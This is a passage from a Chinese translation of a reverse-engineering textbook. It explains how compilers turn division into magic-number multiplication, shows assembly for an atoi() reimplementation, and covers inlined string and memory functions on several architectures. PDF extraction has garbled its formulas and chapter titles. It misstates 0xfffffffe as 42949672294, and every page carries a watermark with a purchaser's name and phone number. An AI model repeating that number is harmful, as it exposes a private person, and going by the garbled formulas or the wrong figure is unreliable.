处理器一样,“纯洁”得不支持硬件级别的除法指令。此外,这种 CPU 还 不难“直接”进行 32 位常量的乘法运算(32 位 opcode 容纳不下 32 位常量)。因此,在进行除法运算时, 编译器会混合加减法运算和位移运算、变相实现除法运算(详情请参阅第 19 章)。 本节引用参考书目 Ltd94(第 3.3 节)的一个例子,介绍一个“32 位数除以 10”的例子,分别计算商 和余数。 ; takes argument in a1 ; returns quotient in a1, remainder in a2 ; cycles could be saved if only divide or remainder is required SUB a2, a1, #10 ; keep (x-10) for later SUB a1, a1, a1, lsr #2 ADD a1, a1, a1, lsr #4 ADD a1, a1, a1, lsr #8 ADD a1, a1, a1, lsr #16 MOV a1, a1, lsr #3 ADD a3, a1, a1, asl #2 SUBS a2, a2, a3, asl #1 ; calc (x-10) - (x/10)*10 ADDPL a1, a1, #1 ; fix-up quotient ADDMI a2, a2, #10 ; fix-up remainder MOV pc, lr 41.2.1 ARM 模式下,采用 Xcode 4.6.3(LLVM)优化 __text:00002C58 39 1E 08 E3 E3 18 43 E3 MOV R1, 0x38E38E39 __text:00002C60 10 F1 50 E7 SMMUL R0, R0, R1 __text:00002C64 C0 10 A0 E1 MOV R1, R0,ASR#1 __text:00002C68 A0 0F 81 E0 ADD R0, R1, R0,LSR#31 __text:00002C6C 1E FF 2F E1 BX LR 这里的代码和采用优化算法时的 MSVC 与 GCC 基本相同。很明显,LLVM 采用了相同的算法来处 异步社区会员 dearfuture(15918834820) 专享 尊重版权 454 逆向工程权威指南(上册) 理常数。 细心的读者可能会问:既然 ARM 模式的单条指令不能把 32 位立即数赋值给寄存器,那么这个程序又 是怎样做到单条 MOV 指令赋值的呢?实际上,原始指令并非是 IDA 显示的那种单条 MOV 指令。仔细观 察您就会发现,那“条”指令占用了 8 个字节,而标准的 ARM 指令只有 4 个字节。原始的指令分两步进 行 32 位赋值:首先用 MOV 指令将低 16 位(本例是常量 0x8E39)复制到寄存器的低 16 位,再用 MOVT 指令把立即数的高 16 位复制到寄存器的高 16 位。IDA 能够识别出这种指令组合,为了便于读者理解,把 两条指令“排版”为一条“伪指令”。这 8 字节的 MOV 指令实际上是 2 条指令。 SMMUL 是 Signed Most Significant Word Multiply 的简称。它是 2 个 32 位有符号数的乘法运算指令, 会把 64 位结果的高 32 位保存在寄存器 R0 中,舍弃结果中的低 32 位。 MOV R1,R0,ASR#1 是算术右移 1 位的运算指令。 而指令 ADD R0,R1,R0,LSR#31 的执行结果相当于将 R0 的值右移 31 位,并与 R1 的值相加,其结果保 存在 R0 中。也就是:R0=R1+R0>>31。 在ARM模式的指令中没有单独的位移指令。不过,它可以在MOV、ADD、SUB以及RSB ① 41.2.2 Thumb-2 模式下的 Xcode 4.6.3 优化(LLVM) 指令中,使用 “后缀”形式的参数调节符对第二个操作数进行位移运算。在使用位移调节符的时候,应当指定位移的确切 位数。 ASR 是算术右移 Arithmetic Shift Right 的简称。算术右移需要考虑符号位。 LSR 是逻辑右移 Logical Shift Right 的简称。逻辑右移不考虑符号位。 MOV R1, 0x38E38E39 SMMUL.W R0, R0, R1 ASRS R1, R0, #1 ADD.W R0, R1, R0,LSR#31 BX LR Thumb 模式的指令集里有单独的位移运算指令。本例中的 ASRS 就是算术右移指令。 41.2.3 非优化的 Xcode 4.6.3(LLVM) 以及 Keil 6/2013 在没有启用优化选项的情况下,LLVM 编译器不会生成上面那种混合运算指令,它会调用仿真库里的 模拟运算函数__divsi3。 然而,无论是否启用优化选项,Keil 编译器都只会调用库函数__aeabi_idivmod。 41.3 MIPS 出于某些原因,优化的 GCC 4.4.5 有除法指令。 指令清单 41.4 优化的 GCC 4.4.5(IDA) f: li $v0, 9 bnez $v0, loc_10 div $a0, $v0 ; branch delay slot break 0x1C00 ; "break 7" in assembly output and objdump loc_10: mflo $v0 jr $ra or $at, $zero ; branch delay slot, NOP ① 这些指令也称为“数据处理指令”。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 41 章 除以 9 455 本例出现了新指令 BREAK。它是由编译器产生的异常处理指令,会在除数为零的情况下抛出错误信 息。毕竟在正规的数学概念里,除数不可以是零。即使在启用优化选项的情况下,GCC 也未能判断出本例 “除数$V0 用于不会是零”的切实情况,机械性地分派了异常处理的检测指令。BREAK 指令只是一个在除 数为零的情况下通知操作系统进行异常处理的指令。只要除数不是零,程序将会执行 MFLO 指令,把 LO 寄存器里的商复制到$V0 寄存器。 这里顺便说明一下,乘法指令 MUL 会把积的高 32 位保存在 HI 寄存器中,把积的低 32 位保存在 LO 寄存器中。而除法指令 DIV 则会把商保存在 LO 寄存器,把余数在保存在 HI 寄存器中。 如果把源程序的除法指令修改为“a % 9”、计算余数,那么编译之后的程序就会用 MFHI 指令替换本 例中的 MFLO 指令。 41.4 它是如何工作的 在引入 2 的 n 次方之后,除法运算可转换为乘法运算: 2 input input input divisor result = divisor 2 2 n n n M ⋅ ⋅ = = 这里的 M 是魔术因子(Magic coefficient)。其 计算公式是 2 divisor n M = 最终,除法运算就转换成了 result= input 2n •M “除以 2 的 n 次方”的运算可以直接通过右移操作实现。如果 n 小于 32,那么中间运算的积的低 n 位 (通常位于 EAX 或者 RAX 寄存器)就会被位移运算直接抹去;如果 n 大于或等于 32,那么积的高半部分 (通常位于 EDX 或者 RDX 寄存器)的数值都会受到影响。 可见,参数 n 的取值直接决定了转换运算的计算精度。 在进行有符号数的除法运算时,符号位也对计算精度及 n 的取值产生了显著影响。 下面这个例子将验证符号位的影响。 int f3_32_signed(int a) { return a/3; }; unsigned int f3_32_unsigned(unsigned int a) { return a/3; }; 在无符号数的计算过程中,魔术因子是 0xaaaaaaab。乘法的中间结果要除以 2 的 33 次方。 而在有符号数的计算过程中,魔术因子则是 0x55555556,乘法的中间结果要除以 2 的 32 次方。虽然 这里没有进行除法运算,但是根据前面的讨论可知:商的有效位取自于 EDX 寄存器。 请别忘记中间一步的乘法计算同样存在符号位的问题:积的高 32 位右移 31 位,将在 EAX 寄存器的 最低数权位保留有符号数的符号位(正数为 0,负数为 1)。将符号位加入积的高 32 位值,可实现负数补码 的“+1”修正 指令清单 41.5 带优化的 MSVC 2012 _f3_32_unsigned PROC mov eax, -1431655765 ; aaaaaaabH 异步社区会员 dearfuture(15918834820) 专享 尊重版权 456 逆向工程权威指南(上册) mul DWORD PTR _a$[esp-4] ; unsigned multiply ; EDX=(input*0xaaaaaaab)/2^32 shr edx, 1 ; EDX=(input*0xaaaaaaab)/2^33 mov eax, edx ret 0 _f3_32_unsigned ENDP _f3_32_signed PROC mov eax, 1431655766 ; 55555556H imul DWORD PTR _a$[esp-4] ; signed multiply ; take high part of product ; it is just the same as if to shift product by 32 bits right or to divide it by 2^32 mov eax, edx ; EAX=EDX=(input*0x55555556)/2^32 shr eax, 31 ; 0000001fH add eax, edx ; add 1 if sign is negative ret 0 _f3_32_signed ENDP 41.4.1 更多的理论 其实,我们都知道,乘法和除法互为逆运算。因此下面的除法可以用乘法来代替。我们可以表述为 1 x x c c = 1/c 可以称为乘法的逆运算,是 c 的倒数。可以用编译器来做提前运算。 但是这是为浮点计算用的,有没有整数呢?在模算术计算环境下,是可能会有的。CPU 寄存器的长度 是很规整的,要么 32 位要么 64 位,因此几乎所有的寄存器的算术操作都是对 2 的 32 次方或者 2 的 64 次 方进行操作。 可以查阅 War02 的第 10 章第 3 节。 41.5 计算除数 41.5.1 变位系数#1 通常我们看到的代码可能就像这样: mov eax, MAGICAL CONSTANT imul input value sar edx, SHIFTING COEFFICIENT ; signed division by 2x using arithmetic shift right mov eax, edx shr eax, 31 add eax, edx 我们这里用大写字母 M 来代表 32 位的魔术因子,把变位系数记为 C,把除数记为 D。 因此除数可以表示为 232 C D M + = 指令清单 41.6 优化的 MSVC 2012 代码 mov eax, 2021161081 ; 78787879H imul DWORD PTR _a$[esp-4] sar edx, 3 mov eax, edx shr eax, 31 ; 0000001fH add eax, edx 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 41 章 除以 9 457 用公式可以表示为 232 3 2021161081 D + = 这个数字超过了 32 位的表达范围。我们可使用 Mathematica 程序计算除数: 指令清单 41.7 Wolfram Mathematica 的计算结果 In[1]:=N[2^(32+3)/2021161081] Out[1]:=17. 它可算出本例采用的除数是 17。 在 64 位数据的除法运算中,计算除数的方法完全相同。只是不再采用 2 的 32 次方,而采用了 2 的 64 次方。 uint64_t f1234(uint64_t a) { return a/1234; }; 指令清单 41.8 64 位下的优化 MSVC2012 f1234 PROC mov rax, 7653754429286296943 ; 6a37991a23aead6fH mul rcx shr rdx, 9 mov rax, rdx ret 0 f1234 ENDP 指令清单 41.9 WolframMathematica 的计算结果 In[1]:=N[2^(64+9)/16^^6a37991a23aead6f] Out[1]:=1234. 41.5.2 变位系数#2 变位系数确实可能为零: mov eax, 55555556h ; 1431655766 imul ecx mov eax, edx shr eax, 1Fh 这样,计算除数的方法就更简单一些了: 232 D = M 就本例而言,除数的计算方法是: 232 D = 1431655766 再次使用 Mathematica 程序计算除数 指令清单 41.10 Wolfram Mathematica 的计算结果 In[1]:=N[2^32/16^^55555556] Out[1]:=3. 异步社区会员 dearfuture(15918834820) 专享 尊重版权 458 逆向工程权威指南(上册) 最终求得除数为 3。 41.6 练习题 请描述下述代码的功能。 指令清单 41.11 采用 MSVC 2010 优化的代码 _a$ = 8 _f PROC mov ecx, DWORD PTR _a$[esp-4] mov eax, -968154503 ; c64b2279H imul ecx add edx, ecx sar edx, 9 mov eax, edx shr eax, 31 ; 0000001fH add eax, edx ret 0 _f ENDP 指令清单 41.12 ARM64 位下采用 GCC 4.9 优化 f: mov w1, 8825 movk w1, 0xc64b, lsl 16 smull x1, w0, w1 lsr x1, x1, 32 add w1, w0, w1 asr w1, w1, 9 sub w0, w1, w0, asr 31 ret 答案请参见 G.1.14。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 4422 章 章 字 字符 符串 串转 转换 换成 成数 数字 字, ,函 函数 数 aattooii(()) 我们来重新实现一下标准的 C 函数 atoi()。这是一个将字符串转换成整数的函数。 42.1 例 1 本例可按照 ASCII 表把数字字符转换为数字。代码 没有做容错处理,因此当输入值为非数字型字符时, 返回值也就不会正确。 #include <stdio.h> int my_atoi (char *s) { int rt=0; while (*s) { rt=rt*10 + (*s-'0'); s++; }; return rt; }; int main() { printf ("%d\n", my_atoi ("1234")); printf ("%d\n", my_atoi ("1234567890")); }; 这个算法实现的是从左到右读取数字,并将每个读取的字符减去数字 0 的 ASCII 值。我们知道,在 ASCII 表中,数字 0~9 是按照递增顺序连续存放的。因此无论字符“0”对应的数值是多少,“0”的值减去“0”的值 为 0,“9”的值减去“0”的值为 9。按照这种模式,函数就可把单字节字符转换为相应数值。因此,如果函数 读取的字符不是数字型字符的话,计算结果就不会正确。在处理多字符字符串时还要考虑数权问题,本例会把 前一步的结果(即变量 rt)乘以 10,再累加本次转换出来的数字。换句话说,在转换单个字符的每次迭代过程 中,转换函数都应当给上一次迭代的转换结果分配一次合理的数权。最后一个被转换的字符不会被提高数权。 42.1.1 64 位下的 MSVC 2013 优化 指令清单 42.1 64 位下的 MSVC2013 优化 s$ = 8 my_atoi PROC ; load first character movzx r8d, BYTE PTR [rcx] ; EAX is allocated for "rt" variable ; its 0 at start' xor eax, eax ; first character is zero-byte, i.e., string terminator? ; exit then. test r8b, r8b je SHORT $LN9@my_atoi 异步社区会员 dearfuture(15918834820) 专享 尊重版权 460 逆向工程权威指南(上册) $LL2@my_atoi: lea edx, DWORD PTR [rax+rax*4] ; EDX=RAX+RAX*4=rt+rt*4=rt*5 movsx eax, r8b ; EAX=input character ; load next character to R8D movzx r8d, BYTE PTR [rcx+1] ; shift pointer in RCX to the next character: lea rcx, QWORD PTR [rcx+1] lea eax, DWORD PTR [rax+rdx*2] ; EAX=RAX+RDX*2=input character + rt*5*2=input character + rt*10 ; correct digit by subtracting 48 (0x30 or '0') add eax, -48 ; ffffffffffffffd0H ; was last character zero? Test r8b, r8b ; jump to loop begin, if not jne SHORT $LL2@my_atoi $LN9@my_atoi: ret 0 my_atoi ENDP 字符串的第一个字符可能就是终止符。在这种情况下,函数不应当进入字符转换的迭代过程。此外, 编译器没有分配“乘以 10”的乘法指令,而是使用了第一条、第三条 LEA 指令分步实现了“上次迭代的 rt 值乘以 5”、“输入字符+5 倍原始 rt 值×2”的运算。某些情况下,MSVC 编译器会刻意避开减法运算的 SUB 指令、转而分配“ADD 某个负数”的指令来实现减法运算。本例就发生了这种情况。虽然笔者也不明 白 ADD 指令的优越性到底在哪,但是 MSVC 编译器经常会做这种指令替换。 42.1.2 64 位下的 GCC 4.9.1 优化 GCC 4.9.1 优化更精确,但是它会在代码的最后添加一个多余的返回指令 RET。其实一个 RET 就足够了。 指令清单 42.2 64 位下的 GCC 4.9.1 优化 my_atoi: ; load input character into EDX movsx edx, BYTE PTR [rdi] ; EAX is allocated for "rt" variable xor eax, eax ; exit, if loaded character is null byte test dl, dl je .L4 .L3: lea eax, [rax+rax*4] ; EAX=RAX*5=rt*5 ; shift pointer to the next character: add rdi, 1 lea eax, [rdx-48+rax*2] ; EAX=input character - 48 + RAX*2 = input character - '0' + rt*10 ; load next character: movsx edx, BYTE PTR [rdi] ; goto loop begin, if loaded character is not null byte test dl, dl jne .L3 rep ret .L4: rep ret 42.1.3 ARM 模式下 Keil 6/2013 优化 指令清单 42.3 ARM 模式下 Keil 6/2013 优化 my_atoi PROC 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 42 章 字符串转换成数字,函数 atoi() 461 ; R1 will contain pointer to character MOV r1,r0 ; R0 will contain "rt" variable MOV r0,#0 B |L0.28| |L0.12| ADD r0,r0,r0,LSL #2 ; R0=R0+R0<<2=rt*5 ADD r0,r2,r0,LSL #1 ; R0=input character + rt*5<<1 = input character + rt*10 ; correct whole thing by subtracting '0' from rt: SUB r0,r0,#0x30 ; shift pointer to the next character: ADD r1,r1,#1 |L0.28| ; load input character to R2 LDRB r2,[r1,#0] ; is it null byte? if no, jump to loop body. CMP r2,#0 BNE |L0.12| ; exit if null byte. ; "rt" variable is still in R0 register, ready to be used in caller function BX lr ENDP 42.1.4 Thumb 模式下 Keil 6/2013 优化 指令清单 42.4 Thumb 模式下 Keil 6/2013 优化 my_atoi PROC ; R1 will be pointer to the input character MOVS r1,r0 ; R0 is allocated to "rt" variable MOVS r0,#0 B |L0.16| |L0.6| MOVS r3,#0xa ; R3=10 MULS r0,r3,r0 ; R0=R3*R0=rt*10 ; shift pointer to the next character: ADDS r1,r1,#1 ; correct whole thing by subtracting 0' character from it': SUBS r0,r0,#0x30 ADDS r0,r2,r0 ; rt=R2+R0=input character + (rt*10 - '0') |L0.16| ; load input character to R2 LDRB r2,[r1,#0] ; is it zero? CMP r2,#0 ; jump to loop body if it is not BNE |L0.6| ; rt variable in R0 now, ready to be used in caller function BX lr ENDP 很有趣的是,我们以前上学时学习到的规则是:加法和减法的运算顺序无所谓先后,完全可以重排。 本例就活用了这一原则:编译器首先计算乘/减法的混合运算表达式“rt*10−‘0’”、求得中间差,然后计算 输入字符与中间差的和。虽然这种算法的计算结果必定和源代码的计算结果相同,但是请不要忽视编译器 的算式重排功能。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 462 逆向工程权威指南(上册) 42.1.5 ARM64 下的 GCC 4.9.1 优化 ARM64 的编译器可以使用预增量指令后缀。 指令清单 42.5 ARM64 的 GCC 4.9.1 指令优化 my_atoi: ; load input character into W1 ldrb w1, [x0] mov x2, x0 ; X2=address of input string ; is loaded character zero? ; jump to exit if its so' ; W1 will contain 0 in this case. ; it will be reloaded into W0 at L4. cbz w1, .L4 ; W0 will contain "rt" variable ; initialize it at zero: mov w0, 0 .L3: ; subtract 48 or '0' from input variable and put result into W3: sub w3, w1, #48 ; load next character at address X2+1 into W1 with pre-increment: ldrb w1, [x2,1]! add w0, w0, w0, lsl 2 ; W0=W0+W0<<2=W0+W0*4=rt*5 add w0, w3, w0, lsl 1 ; W0=input digit + W0<<1 = input digit + rt*5*2 = input digit + rt*10 ; if the character we just loaded is not null byte, jump to the loop begin cbnz w1, .L3 ; variable to be returned (rt) is in W0, ready to be used in caller function ret .L4: mov w0, w1 ret 42.2 例 2 现在,我们把例 1 的源代码改得更高级一些:令其检测第一个字符是否为负数符号“−”,并且检测输 入值里有没有非数字型字符;当输入字符串含有非数字字符的时候,要令程序提示错误信息。 #include <stdio.h> int my_atoi (char *s) { int negative=0; int rt=0; if (*s=='-') { negative=1; s++; }; while (*s) { if (*s<'0' || *s>'9') { printf ("Error! Unexpected char: '%c'\n", *s); exit(0); }; rt=rt*10 + (*s-'0'); 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 42 章 字符串转换成数字,函数 atoi() 463 s++; }; if (negative) return -rt; return rt; }; int main() { printf ("%d\n", my_atoi ("1234")); printf ("%d\n", my_atoi ("1234567890")); printf ("%d\n", my_atoi ("-1234")); printf ("%d\n", my_atoi ("-1234567890")); printf ("%d\n", my_atoi ("-a1234567890")); // error }; 42.2.1 64 位下的 GCC 4.9.1 优化 指令清单 42.6 64 位下的 GCC 4.9.1 优化 .LC0: .string "Error! Unexpected char: '%c'\n" my_atoi: sub rsp, 8 movsx edx, BYTE PTR [rdi] ; check for minus sign cmp dl, 45 ; '-' je .L22 xor esi, esi test dl, dl je .L20 .L10: ; ESI=0 here if there was no minus sign and 1 if it was lea eax, [rdx-48] ; any character other than digit will result unsigned number greater than 9 after subtraction ; so if it is not digit, jump to L4, where error will be reported: cmp al, 9 ja .L4 xor eax, eax jmp .L6 .L7: lea ecx, [rdx-48] cmp cl, 9 ja .L4 .L6: lea eax, [rax+rax*4] add rdi, 1 lea eax, [rdx-48+rax*2] movsx edx, BYTE PTR [rdi] test dl, dl jne .L7 ; if there was no minus sign, skip NEG instruction ; if it was, execute it. test esi, esi je .L18 neg eax .L18: add rsp, 8 ret .L22: movsx edx, BYTE PTR [rdi+1] lea rax, [rdi+1] test dl, dl 异步社区会员 dearfuture(15918834820) 专享 尊重版权 464 逆向工程权威指南(上册) je .L20 mov rdi, rax mov esi, 1 jmp .L10 .L20: xor eax, eax jmp .L18 .L4: ; report error. character is in EDX mov edi, 1 mov esi, OFFSET FLAT:.LC0 ; "Error! Unexpected char: '%c'\n" xor eax, eax call __printf_chk xor edi, edi call exit 如果字符串的第一个字符是负号,那么就要在转换的最后阶段执行 NEG 指令,把结果转换为负数。 另外值得一提的是“检测字符是否是数字字符”的判断表达式。我们在程序中可以看到代码为: if (*s<'0' || *s>'9') ... 这是两个比较操作。比较有意思的是,我们完全可以只用一个比较指令就完成这两步比较运算:将输 入字符的值减去“0”字符的值,将结果视为无符号数(这是关键)与 9 进行比较。若最后的无符号数比 9 还大,那么输入字符就不是数字字符。 比如说,如果我们在输入的字符串中含有小数点(“.”),这个符号在 ASCII 表中排在字符零“0”的前 2 位。因此判断语句的减法运算表达式是:46−48=−2。有符号数的减法运算当然会求得有符号数。被减数比 减数小,计算的结果肯定是负数。但是,如果我们把这个结果当作无符号数来处理的话,它将是 0xfffffffe (对应的十进制数是 42949672294),显然它比 9 大。举这个例子是想说明按照无符号数处理的重要性。 编译器经常会这样做,因此我们应该重新认识这种技巧。 我们可以本书的其他地方看到这个例子:比如 48.1.2 节。 在编译 64 位应用程序时,MSVC 2013 还好使用这种优化技巧。 42.2.2 ARM 模式下的 Keil6/2013 优化 指令清单 42.7 ARM 模式下的 Keil6/2013 优化 1 my_atoi PROC 2 PUSH {r4-r6,lr} 3 MOV r4,r0 4 LDRB r0,[r0,#0] 5 MOV r6,#0 6 MOV r5,r6 7 CMP r0,#0x2d '-' 8 ; R6 will contain 1 if minus was encountered, 0 if otherwise 9 MOVEQ r6,#1 10 ADDEQ r4,r4,#1 11 B |L0.80| 12 |L0.36| 13 SUB r0,r1,#0x30 14 CMP r0,#0xa 15 BCC |L0.64| 16 ADR r0,|L0.220| 17 BL __2printf 18 MOV r0,#0 19 BL exit 20 |L0.64| 21 LDRB r0,[r4],#1 22 ADD r1,r5,r5,LSL #2 23 ADD r0,r0,r1,LSL #1 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 42 章 字符串转换成数字,函数 atoi() 465 24 SUB r5,r0,#0x30 25 |L0.80| 26 LDRB r1,[r4,#0] 27 CMP r1,#0 28 BNE |L0.36| 29 CMP r6,#0 30 ; negate result 31 RSBNE r0,r5,#0 32 MOVEQ r0,r5 33 POP {r4-r6,pc} 34 ENDP 35 36 |L0.220| 37 DCB "Error! Unexpected char: '%c'\n",0 32 位 ARM 的指令集里没有 NEG(取负)指令,因此编译器分配了第 31 行的“反向减法”指令。 当第 29 行指令—即 CMP 的比较结果为“不相等”时,才会执行第 31 行的条件执行指令(我们可以 看到 NE 后缀,也就是“(运行条件为)Not Equal”的意思)。而后,RSBNE 指令用 0 减去上一步的计 算结果。这条指令确实就是减法运算指令,只是被减数和减数的操作符排列位置对调了一下。用 0 来 减去任何数,实际的效果就是对该数取负。实现的结果可以用这个来表示:0−x=−x。 Thumb 程序的运算模式几乎完全相同。 在编译 ARM64 平台的应用程序时,GCC 4.9 能够分配 NEG(取反)指令。 42.3 练习 这里顺便提一下,安全研究人员经常研究各种异常情况。他们重点关注不合乎预期的输入值,通过这 种数据诱使程序进行某种与设计思路相左的行为。因此,他们也会关注模糊测试方法。作为练习,我们可 以试图输入非数字字符,看看会发生什么。自己可以尝试着解释一下背后的成因是什么。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 4433 章 章 内 内 联 联 函 函 数 数 在编译阶段,将会被编译器把函数体展开并嵌入到每一个调用点的函数,就是内联函数。 指令清单 43.1 一个简单的例子 #include <stdio.h> int celsius_to_fahrenheit (int celsius) { return celsius * 9 / 5 + 32; }; int main(int argc, char *argv[]) { int celsius=atol(argv[1]); printf ("%d\n", celsius_to_fahrenheit (celsius)); }; 此函数在汇编层面的具体指令与源代码几乎一一对应。然而,如果在 GCC 编译环境下,我们采用-03 参数优化的话,我们会看到如下所示的代码。 指令清单 43.2 GCC 4.8.1 优化 _main: push ebp mov ebp, esp and esp, -16 sub esp, 16 call ___main mov eax, DWORD PTR [ebp+12] mov eax, DWORD PTR [eax+4] mov DWORD PTR [esp], eax call _atol mov edx, 1717986919 mov DWORD PTR [esp], OFFSET FLAT:LC2 ; "%d\12\0" lea ecx, [eax+eax*8] mov eax, ecx imul edx sar ecx, 31 sar edx sub edx, ecx add edx, 32 mov DWORD PTR [esp+4], edx call _printf leave ret 值得注意的是,编译器用乘法指令变相地实现了除法运算(可以参见第 41 章)。 您没看错,温度转换函数 celsius_to_fahrenheit()(摄氏温度转换成华氏温度)的函数体被直接展开,放 在了函数 printf()(显示字符串)的前面。为什么呢?因为这样运行速度会更快一些。这种代码不需要在调 用函数时处理多余的函数调用和返回指令。 现在具有优化功能的编译器一般都能自动的把小型函数的函数体直接“嵌入”到调用方函数的代码 里。当然我们也可以借助关键字“inline”强制编译器进行这种“嵌入”处理。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 43 章 内 联 函 数 467 43.1 字符串和内存操作函数 在处理字符串和内存操作的常见函数时,例如:strycpy()、strcmp()、strlen、memset()、memcpy()、memcmp() 函数,编译器通常会把这些函数当作内联函数处理。 多数情况下,以内联函数编译的函数会比那些被单独调用的函数运行得更快。 本节将演示一些非常具有特征的内联代码,以供读者研究。 43.1.1 字符串比较函数 strcmp() 指令清单 43.3 字符串比较函数 strcmp() bool is_bool (char *s) { if (strcmp (s, "true")==0) return true; if (strcmp (s, "false")==0) return false; assert(0); }; 指令清单 43.4 采用 GCC 4.8.1 优化的例子 .LC0: .string "true" .LC1: .string "false" is_bool: .LFB0: push edi mov ecx, 5 push esi mov edi, OFFSET FLAT:.LC0 sub esp, 20 mov esi, DWORD PTR [esp+32] repz cmpsb je .L3 mov esi, DWORD PTR [esp+32] mov ecx, 6 mov edi, OFFSET FLAT:.LC1 repz cmpsb seta cl setb dl xor eax, eax cmp cl, dl jne .L8 add esp, 20 pop esi pop edi ret .L8: mov DWORD PTR [esp], 0 call assert add esp, 20 pop esi pop edi ret .L3: add esp, 20 mov eax, 1 pop esi pop edi ret 异步社区会员 dearfuture(15918834820) 专享 尊重版权 468 逆向工程权威指南(上册) 指令清单 43.5 采用 MSVC 2010 优化的例子 $SG3454 DB 'true', 00H $SG3456 DB 'false', 00H _s$ = 8 ; size = 4 ?is_bool@@YA_NPAD@Z PROC ; is_bool push esi mov esi, DWORD PTR _s$[esp] mov ecx, OFFSET $SG3454 ; 'true' mov eax, esi npad 4 ; align next label $LL6@is_bool: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN7@is_bool test dl, dl je SHORT $LN8@is_bool mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN7@is_bool add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL6@is_bool $LN8@is_bool: xor eax, eax jmp SHORT $LN9@is_bool $LN7@is_bool: sbb eax, eax sbb eax, -1 $LN9@is_bool: test eax, eax jne SHORT $LN2@is_bool mov al, 1 pop esi ret 0 $LN2@is_bool: mov ecx, OFFSET $SG3456 ; 'false' mov eax, esi $LL10@is_bool: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN11@is_bool test dl, dl je SHORT $LN12@is_bool mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN11@is_bool add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL10@is_bool $LN12@is_bool: xor eax, eax jmp SHORT $LN13@is_bool $LN11@is_bool: sbb eax, eax sbb eax, -1 $LN13@is_bool: test eax, eax 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 43 章 内 联 函 数 469 jne SHORT $LN1@is_bool xor al, al pop esi ret 0 $LN1@is_bool: push 11 push OFFSET $SG3458 push OFFSET $SG3459 call DWORD PTR __imp___wassert add esp, 12 pop esi ret 0 ?is_bool@@YA_NPAD@Z ENDP ; is_bool 43.1.2 字符串长度函数 strlen() 指令清单 43.6 字符串长度函数 strlen()的例子 int strlen_test(char *s1) { return strlen(s1); }; 指令清单 43.7 采用 MSVC 2010 优化的例子 _s1$ = 8 ; size = 4 _strlen_test PROC mov eax, DWORD PTR _s1$[esp-4] lea edx, DWORD PTR [eax+1] $LL3@strlen_tes: mov cl, BYTE PTR [eax] inc eax test cl, cl jne SHORT $LL3@strlen_tes sub eax, edx ret 0 _strlen_test ENDP 43.1.3 字符串复制函数 strcpy() 指令清单 43.8 字符串复制函数 strcpy()的例子 void strcpy_test(char *s1, char *outbuf) { strcpy(outbuf, s1); }; 指令清单 43.9 采用 MSVC 2010 优化的例子 _s1$ = 8 ; size = 4 _outbuf$ = 12 ; size = 4 _strcpy_test PROC mov eax, DWORD PTR _s1$[esp-4] mov edx, DWORD PTR _outbuf$[esp-4] sub edx, eax npad 6 ; align next label $LL3@strcpy_tes: mov cl, BYTE PTR [eax] 异步社区会员 dearfuture(15918834820) 专享 尊重版权 470 逆向工程权威指南(上册) mov BYTE PTR [edx+eax], cl inc eax test cl, cl jne SHORT $LL3@strcpy_tes ret 0 _strcpy_test ENDP 43.1.4 内存设置函数 memset() 例子#1 如下所示。 指令清单 43.10 32 字节的操作 #include <stdio.h> void f(char *out) { memset(out, 0, 32); }; 在编译那些操作小体积内存块的 memset()函数时,多数编译器不会分配标准的函数调用指令(call), 反而会分配一堆的 MOV 指令,直接赋值。 指令清单 43.11 64 位下的 GCC 4.9.1 优化 f: mov QWORD PTR [rdi], 0 mov QWORD PTR [rdi+8], 0 mov QWORD PTR [rdi+16], 0 mov QWORD PTR [rdi+24], 0 ret 这让我们想起了本书 14.1.4 节介绍的循环展开技术。 例子#2 如下所示。 指令清单 43.12 67 字节内存的操作 #include <stdio.h> void f(char *out) { memset(out, 0, 67); }; 当内存块的大小不是 4 或者 8 的整数倍时,不同的编译器会有不同的处理方法。 比如说,MSVC 2012 依旧会分配一串 MOV 指令。 指令清单 43.13 64 位下的 MSVC 2012 优化 out$ = 8 f PROC xor eax, eax mov QWORD PTR [rcx], rax mov QWORD PTR [rcx+8], rax mov QWORD PTR [rcx+16], rax mov QWORD PTR [rcx+24], rax mov QWORD PTR [rcx+32], rax mov QWORD PTR [rcx+40], rax mov QWORD PTR [rcx+48], rax mov QWORD PTR [rcx+56], rax mov WORD PTR [rcx+64], ax mov BYTE PTR [rcx+66], al ret 0 f ENDP 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 43 章 内 联 函 数 471 GCC 还会分配 REP STOSQ 指令。这可能比一堆的 MOV 赋值指令更短,效率更高。 指令清单 43.14 64 位下的 GCC 4.9.1 优化 f: mov QWORD PTR [rdi], 0 mov QWORD PTR [rdi+59], 0 mov rcx, rdi lea rdi, [rdi+8] xor eax, eax and rdi, -8 sub rcx, rdi add ecx, 67 shr ecx, 3 rep stosq ret 43.1.5 内存复制函数 memcpy() 在编译那些复制小尺寸内存块的 memcpy()函数时,多数编译器会分配一系列的 MOV 指令。 指令清单 43.15 内存复制函数 memcpy() void memcpy_7(char *inbuf, char *outbuf) { memcpy(outbuf+10, inbuf, 7); }; 指令清单 43.16 采用 MSVC 2010 优化 _inbuf$ = 8 ; size = 4 _outbuf$ = 12 ; size = 4 _memcpy_7 PROC mov ecx, DWORD PTR _inbuf$[esp-4] mov edx, DWORD PTR [ecx] mov eax, DWORD PTR _outbuf$[esp-4] mov DWORD PTR [eax+10], edx mov dx, WORD PTR [ecx+4] mov WORD PTR [eax+14], dx mov cl, BYTE PTR [ecx+6] mov BYTE PTR [eax+16], cl ret 0 _memcpy_7 ENDP 指令清单 43.17 采用 GCC 4.8.1 优化 memcpy_7: push ebx mov eax, DWORD PTR [esp+8] mov ecx, DWORD PTR [esp+12] mov ebx, DWORD 